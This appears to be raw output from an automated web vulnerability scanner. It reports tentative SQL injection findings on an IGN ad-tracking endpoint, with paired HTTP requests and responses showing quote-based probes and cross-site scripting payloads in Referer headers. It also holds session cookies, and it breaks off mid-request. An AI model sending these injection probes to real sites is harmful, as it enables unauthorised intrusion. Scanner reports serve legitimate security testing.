GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=dlmndoi,bguRrehbdnkof/ HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:15:54 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5745,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,46,60,72,80,91,101,110,150,152,222,288,531,757,912,1187,1405,1481,1591,1824,2337,2986,3887,3932,4056,4227,4662,4799,5999,6623,8151,8210,8978,9180,41899,61350,61578,61766,61919,65369&RawValues=&random=dlmndoi,bguRrehbdnkof/ HTTP/1.1
Host: de.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; decc=US; NGUserID=a016c06-15003-1306593845-5; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.3.10.1297040497;

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:15:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:15:54 GMT
Connection: close

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=ddkKKby,bguRrfrbdmWak

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=ddkKKby,bguRrfrbdmWak HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:50 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=ddkKKby,bguRrfrbdmWak HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:50 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bwmijfx,bguRragewbmAI

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bwmijfx,bguRragewbmAI HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.2.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:34 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=43083&FlightID=550&TargetID=6671&EntityDefResetFlag=0&C=0&Segments=19,2747,4602,4603,4723,4897,4917,4954,5031,5718,5749,5906,6102,6382,6573,6705,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,17210,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6671,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,288,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bwmijfx,bguRragewbmAI HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.2.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:34 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9326,9598,9613,10951,11754,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,11379,28685,11380&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,7473,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=chdstlw,bguRrblewbsus

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:43:57 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:43:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:43:57 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9326,9598,9613,10951,11754,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,11379,28685,11380&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,7473,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cadvdIl,bguRqRgbdmoWo

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9326,9598,9613,10951,11754,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,11379,28685,11380&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,7473,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cadvdIl,bguRqRgbdmoWo HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:16 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9326,9598,9613,10951,11754,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=10619,11379,28685,11380&Values=25,31,43,60,72,80,91,101,110,150,152,235,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,7473,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cadvdIl,bguRqRgbdmoWo HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:16 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9337,9598,9613,9840,10951,11754,13203,14845,15232,16249,16251,16895,20543,22099,22153,22854,23367,23425,23427,23472,23479,23480,23493&Targets=10619,11379,28685,11380,11522,17087&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,7473,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cjkIIec,bguRrfrbdmWab

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9337,9598,9613,9840,10951,11754,13203,14845,15232,16249,16251,16895,20543,22099,22153,22854,23367,23425,23427,23472,23479,23480,23493&Targets=10619,11379,28685,11380,11522,17087&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,7473,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cjkIIec,bguRrfrbdmWab HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
